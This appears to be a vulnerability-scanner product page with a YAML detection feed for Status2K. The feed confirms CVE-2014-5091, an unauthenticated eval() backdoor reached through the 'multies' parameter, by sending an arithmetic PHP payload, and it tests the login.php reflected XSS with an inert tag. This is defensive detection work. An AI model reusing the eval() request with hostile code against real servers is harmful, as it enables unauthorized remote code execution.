Status2K — 1 vulnerability check
noctis ships 1 vulnerability check for Status2K, covering 7 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Status2K multies eval() code execution and login.php XSS
| CVE | CVE-2014-5088, CVE-2014-5089, CVE-2014-5090, CVE-2014-5091, CVE-2014-5092, CVE-2014-5093, CVE-2014-5094 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/status2k/status2k-multiple-vulnerabilities.yaml |
Tests Status2K for the unauthenticated eval() backdoor in includes/functions.php (multies parameter, CVE-2014-5091) and the reflected XSS in admin/login.php (username parameter, CVE-2014-5088), part of the CVE-2014-5088..5094 set. Confirms the RCE with a per-run arithmetic marker computed by PHP, and the XSS with an inert per-run tag reflected unescaped.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{s2k_dir}}/admin/login.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{s2k_dir}}/includes/functions.php?multies=echo%28{{s2k_a}}%2A{{s2k_b}}%29%3B HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
s2k_rce_hitfor^[0-9]{11,12}$→ finding QoD 97: Unauthenticated PHP code execution (CVE-2014-5091): GET …/includes/functions.php?multies=echo(…*…); returned the PHP-computed product … - Raw TCP (TLS on HTTPS), sent verbatim:
POST {{s2k_dir}}/admin/login.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
s2k_xss_hitfor^<noctis[0-9a-f]{12}>$→ finding QoD 75: Reflected XSS (CVE-2014-5088): POST …/admin/login.php put the injected username tag … into the Status2K page unescaped
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-5088
- https://nvd.nist.gov/vuln/detail/CVE-2014-5089
- https://nvd.nist.gov/vuln/detail/CVE-2014-5090
- https://nvd.nist.gov/vuln/detail/CVE-2014-5091
- https://nvd.nist.gov/vuln/detail/CVE-2014-5092
- https://nvd.nist.gov/vuln/detail/CVE-2014-5093
- https://nvd.nist.gov/vuln/detail/CVE-2014-5094
- https://www.exploit-db.com/exploits/34239
Feed source — tests/vulnerabilities/status2k/status2k-multiple-vulnerabilities.yaml
# Status2K Multiple Vulnerabilities (CVE-2014-5088 … CVE-2014-5094)
#
# Status2K (server-monitoring PHP application) shipped with a set of flaws
# disclosed together (exploit-db 34239). Two of them are reachable without any
# login and are what this feed exploits:
# - CVE-2014-5091 — includes/functions.php contains `eval($_GET['multies']);`,
# an unauthenticated PHP code-execution backdoor (NVD CVSS 3.1 9.8);
# - CVE-2014-5088 — admin/login.php reflects the `username` parameter into the
# page without HTML-encoding it (reflected XSS).
# The other IDs of the set (5089 SQLi and 5090 command injection in
# admin/options/logs.php, 5092 template RCE in editpl.php — all need an admin
# session —, 5093 install/ left in place, 5094 phpinfo action) are tracked with
# this feed but not probed: they need credentials or are not a benign proof.
#
# Detection (benign real-exploitation proof), for each candidate install
# directory, once the Status2K login page (`>Status2k`) is found there:
# 1. RCE, QoD 97 — GET includes/functions.php?multies=echo(A*B); with two
# per-run random 6-digit integers A and B, and require the 11-12 digit
# product in the reply. The product never appears in the request, so no
# reflection can produce it: only PHP evaluating our expression can.
# The payload has no quotes, so magic_quotes_gpc (On by default on the
# PHP 5.2/5.3 hosts Status2K ran on) can't break it. Nothing is written.
# 2. XSS, QoD 75 — POST admin/login.php with username=<noctis<tok>>, an inert
# tag carrying a per-run token, and require it back unescaped on the
# Status2K page (HTTP 200). No script is sent.
#
# Better than the OpenVAS NASL, which only checks the login.php XSS:
# - the unauthenticated eval() backdoor (CVE-2014-5091, the critical bug of
# the set) is really exploited and confirmed in-band;
# - per-run tokens instead of a fixed `<script>alert(document.cookie)</script>`
# string, so a static page or a cached reply can never match, and the XSS
# payload is an inert tag rather than script;
# - `/s2k` and `/status` (the directories used in the advisory) are probed
# besides the NASL's `/` and `/status2k`.
#
# Each finding carries only the CVE it proves (5091 for the RCE, 5088 for
# the XSS) with that CVE's own NVD score; the feed-level `cves:` lists the
# whole set so filters and tracking see all seven IDs.
#
# Requests go out verbatim through tcp_connect (HTTP/1.0) so the URL-encoded
# payloads are not re-normalised, and are matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_status2k_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804736, GPL-2.0-only).
uid: 50e73258-7fb3-4f08-80af-5df2dc71416e
name: "Status2K multies eval() code execution and login.php XSS (CVE-2014-5091, CVE-2014-5088)"
description: |
Tests Status2K for the unauthenticated eval() backdoor in
includes/functions.php (multies parameter, CVE-2014-5091) and the reflected
XSS in admin/login.php (username parameter, CVE-2014-5088), part of the
CVE-2014-5088..5094 set. Confirms the RCE with a per-run arithmetic marker
computed by PHP, and the XSS with an inert per-run tag reflected unescaped.
cves: [CVE-2014-5088, CVE-2014-5089, CVE-2014-5090, CVE-2014-5091, CVE-2014-5092, CVE-2014-5093, CVE-2014-5094]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [status2k, php, rce, code-injection, backdoor, xss, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5088"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5089"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5090"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5091"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5092"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5093"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5094"
- "https://www.exploit-db.com/exploits/34239"
- "OpenVAS/Greenbone NASL 2014/gb_status2k_mult_vuln.nasl (GPL-2.0-only)"
steps:
# ── Per-run markers ─────────────────────────────────────────────────────
- id: mint-a
action: script
code: 'rand_int(100000, 999999)'
store_as: s2k_a
- id: mint-b
action: script
code: 'rand_int(100000, 999999)'
store_as: s2k_b
- id: mint-tok
action: script
code: 'rand_hex(6)'
store_as: s2k_tok
# ── Per candidate directory: reset every stored reply first ─────────────
# A failed tcp_connect leaves store_as unset, and an undefined variable in a
# script aborts the whole test; resetting also keeps one directory's replies
# from leaking into the next iteration.
- id: reset-login
action: set_var
var_name: s2k_login
var_value: {banner: null}
loop:
over: ["", "/status2k", "/s2k", "/status"]
var: s2k_dir
- id: reset-rce
action: set_var
var_name: s2k_rce
var_value: {banner: null}
- id: reset-xss
action: set_var
var_name: s2k_xss
var_value: {banner: null}
# ── 1. Fingerprint: the Status2K login page (NASL gate) ─────────────────
- id: login-page
action: tcp_connect
port: "{{port}}"
send: "GET {{s2k_dir}}/admin/login.php HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: s2k_login
- id: is-status2k
action: script
code: |
let b = if type_of(s2k_login.banner) == "string" { s2k_login.banner } else { "" };
stridx(b, ">Status2k") >= 0
store_as: s2k_found
# ── 2. RCE: eval($_GET['multies']) — echo(A*B); ─────────────────────────
- id: rce-probe
action: tcp_connect
condition: "s2k_found == true"
port: "{{port}}"
send: "GET {{s2k_dir}}/includes/functions.php?multies=echo%28{{s2k_a}}%2A{{s2k_b}}%29%3B HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: s2k_rce
- id: rce-check
action: script
code: |
let b = if type_of(s2k_rce.banner) == "string" { s2k_rce.banner } else { "" };
let marker = "" + (s2k_a * s2k_b);
if stridx(b, marker) >= 0 { marker } else { "" }
store_as: s2k_rce_hit
- id: rce-confirmed
action: match
source: s2k_rce_hit
pattern: "^[0-9]{11,12}$"
on_match:
finding:
cves: [CVE-2014-5091]
cvss: 9.8
severity: critical
confidence_delta: 0.72
qod: 97
evidence: "Unauthenticated PHP code execution (CVE-2014-5091): GET {{s2k_dir}}/includes/functions.php?multies=echo({{s2k_a}}*{{s2k_b}}); returned the PHP-computed product {{s2k_rce_hit}}"
stop: true
# ── 3. XSS: inert per-run tag reflected unescaped by login.php ─────────
# Body: username=<noctis<tok>>&password=&Submit=Login >> (NASL form fields)
- id: xss-probe
action: tcp_connect
condition: "s2k_found == true"
port: "{{port}}"
send: "POST {{s2k_dir}}/admin/login.php HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 63\r\nConnection: close\r\n\r\nusername=%3Cnoctis{{s2k_tok}}%3E&password=&Submit=Login+%3E%3E"
timeout_secs: 10
store_as: s2k_xss
- id: xss-check
action: script
code: |
let b = if type_of(s2k_xss.banner) == "string" { s2k_xss.banner } else { "" };
let tag = "<noctis" + s2k_tok + ">";
if ereg("^HTTP/1\\.[01] 200", b) && stridx(b, ">Status2k") >= 0 && stridx(b, tag) >= 0 { tag } else { "" }
store_as: s2k_xss_hit
- id: xss-confirmed
action: match
source: s2k_xss_hit
pattern: "^<noctis[0-9a-f]{12}>$"
on_match:
finding:
cves: [CVE-2014-5088]
cvss: 4.3
severity: medium
confidence_delta: 0.55
qod: 75
evidence: "Reflected XSS (CVE-2014-5088): POST {{s2k_dir}}/admin/login.php put the injected username tag {{s2k_xss_hit}} into the Status2K page unescaped"
stop: true